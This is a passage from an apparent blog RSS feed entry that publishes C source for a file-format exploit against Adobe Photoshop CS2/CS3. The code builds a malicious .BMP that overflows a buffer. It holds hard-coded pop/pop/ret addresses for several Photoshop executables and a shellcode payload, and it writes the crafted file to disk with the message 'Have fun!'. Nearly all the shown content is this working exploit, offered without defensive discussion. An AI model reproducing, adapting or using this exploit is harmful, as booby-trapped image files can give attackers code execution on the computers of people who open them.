"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
;

int main(int argc, char* argv[])
{
	FILE* bmpfile;
	char evilbuff[22000];
	char Shellcodebuilt[1000];
	char *MyShellcode;

	int offset=0;
	int i=0;

	printf("[+] Adobe Photoshop CS2 / CS3 Unspecified .BMP File Buffer Overflow\n");
	printf("[+] Coded and discovered by Marsu &lt;Marsupilamipowa@hotmail.fr&gt;\n");
	if (argc!=2) {
		printf("[+] Usage: %s &lt;file.bmp&gt;\n",argv[0]);
		return 0;
	}

	memset(evilbuff,'C',22000);
	memcpy(evilbuff,bmp_file_part1,sizeof(bmp_file_part1)-1);
	offset=sizeof(bmp_file_part1)-1;

	//Let's build our shellcode
	memcpy(Shellcodebuilt,"CC\xeb\x06",4);							//junk + jmp over EIP
	memcpy(Shellcodebuilt+4,"\x49\x1E\x40\x00\x43\x43\x43\x43",8);	//pop ebx, pop ecx, ret + junk in Photoshop.exe CS2
	memcpy(Shellcodebuilt+12,"CC\xeb\x06",4);						//junk + jmp over EIP
	memcpy(Shellcodebuilt+16,"\xd7\x11\x40\x00\x43\x43",6);			//pop ecx, pop ecx, ret + junk in PhotoshopElementsEditor.exe
	memcpy(Shellcodebuilt+22,Shellcode,sizeof(Shellcode)-1);

	//Once done, let's patch png_file_part2 =D
	for (i=0;i&lt;4*(sizeof(Shellcode)+22);i+=4) {
		bmp_file_part2[i]=Shellcodebuilt[i/4];
	}
	printf("[+] 2nd part patched for CS2\n");

	memcpy(Shellcodebuilt+4,"\x65\x1a\x40\x00\x43\x43\x43\x43",8);	//pop ebx, pop ecx, ret + junk in Photoshop.exe CS3
	memcpy(Shellcodebuilt+12,Shellcode,sizeof(Shellcode)-1);
	for (i=0;i&lt;4*(sizeof(Shellcode)+12);i+=4) {
		bmp_file_part2[0x2ad8 - offset + i]=Shellcodebuilt[i/4];
	}
	printf("[+] 2nd part patched for CS3\n");

	memcpy(evilbuff+offset,bmp_file_part2,sizeof(bmp_file_part2)-1);

	if ((bmpfile=fopen(argv[1],"wb"))==0) {
		printf("[-] Unable to access file.\n");
		return 0;
	}
	fwrite( evilbuff, 1, 21424, bmpfile );
	fclose(bmpfile);
	printf("[+] Done. Have fun!\n");
	return 0;

}</pre>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/hackatwork.wordpress.com/242/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/hackatwork.wordpress.com/242/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hackatwork.wordpress.com/242/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hackatwork.wordpress.com/242/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hackatwork.wordpress.com/242/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hackatwork.wordpress.com/242/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hackatwork.wordpress.com/242/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hackatwork.wordpress.com/242/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hackatwork.wordpress.com/242/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hackatwork.wordpress.com/242/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hackatwork.wordpress.com/242/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hackatwork.wordpress.com/242/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hackatwork.wordpress.com/242/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hackatwork.wordpress.com/242/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hackatwork.wordpress.com/242/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hackatwork.wordpress.com/242/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hackatwork.wordpress.com&amp;blog=1105648&amp;post=242&amp;subd=hackatwork&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hackatwork.wordpress.com/2007/05/06/adobe-photoshop-cs2-cs3-unspecified-bmp-file-buffer-overflow/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e3ac2006bf0a31f8ea8e7d90951cd247?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">regisinferni</media:title>
		</media:content>
	</item>
	</channel>
</rss>
